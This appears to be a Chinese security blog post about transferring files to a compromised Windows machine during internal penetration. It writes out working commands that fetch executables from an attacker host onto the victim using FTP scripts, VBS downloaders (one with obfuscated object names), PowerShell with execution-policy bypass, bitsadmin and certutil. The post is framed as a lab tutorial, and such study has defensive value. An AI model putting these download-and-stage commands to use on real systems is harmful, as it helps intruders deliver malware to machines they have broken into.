【内网渗透】Windows下的内网传输技术
2020-06-17 16:41:36 Author: mp.weixin.qq.com(查看原文) 阅读量:282 收藏

点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~

掐指一算,好像已经一个月没更新过了...

趁着现在不忙(才不是偷懒)赶紧更新一波~

今天给大家分享的内容是Windows内网传输技术:

有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。

一起来看看吧!

Part.1

FTP

FTP环境部署

首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。

我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon:

创建一个用户monster/a123456:

靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。

上传与下载

ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。

例如需要下载一个hello.txt到靶机中:

写入后,靶机中会生成一个ftp.txt文件:

通过命令行执行该文件:

可以看到hello.txt文件被下载到靶机:

以上操作可以简化为:

Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o

如果ftp允许匿名账号登陆,还可简化为:

Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

//-A 匿名访问

如果是上传文件到ftp服务器,则使用put:

可以在ftp服务器中找到上传的文件:

Part.2

VBS

VBS

VBS是windows中基于Visual Basic的脚本语言。

利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。

首先在本地开启http服务,提供文件下载:

通过shell向靶机写入VBS代码:

详细代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode = 3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs

此处靶机中会生成download.vbs,执行:

Cscript download.vbs

//成功“上传”文件至靶机。

方法二:VBS一句话下载

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe

Part.3

Powershell

Powershell

Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');

//注意区分中逗号等英文字符。

Part.4

bitsadmin

bitsadmin

除了脚本以外,windows还有自带的两个工具:bitsadmin和certutil。

Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。

bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:\Users\Monster\Desktop\hello.txt

//123为任务号

注:经测试这种方法进行下载比其他方法慢很多。

保存路径不能写成C:/Users/Monster/Desktop/hello.txt,否则会报错:

Part.5

certutil

certutil

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

certutil -urlcache -split -f http://192.168.3.1/hash.exe

但是这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存:

Part.6

结语

好啦,以上就是今天的全部内容了~

如果有问题,欢迎到公众号一名白帽的成长史留言~

Peace

“在看”我吗?


文章来源: https://mp.weixin.qq.com/s/DzdDsRBAZkfG-EbrYV0kUg
如有侵权请联系:admin#unsafe.sh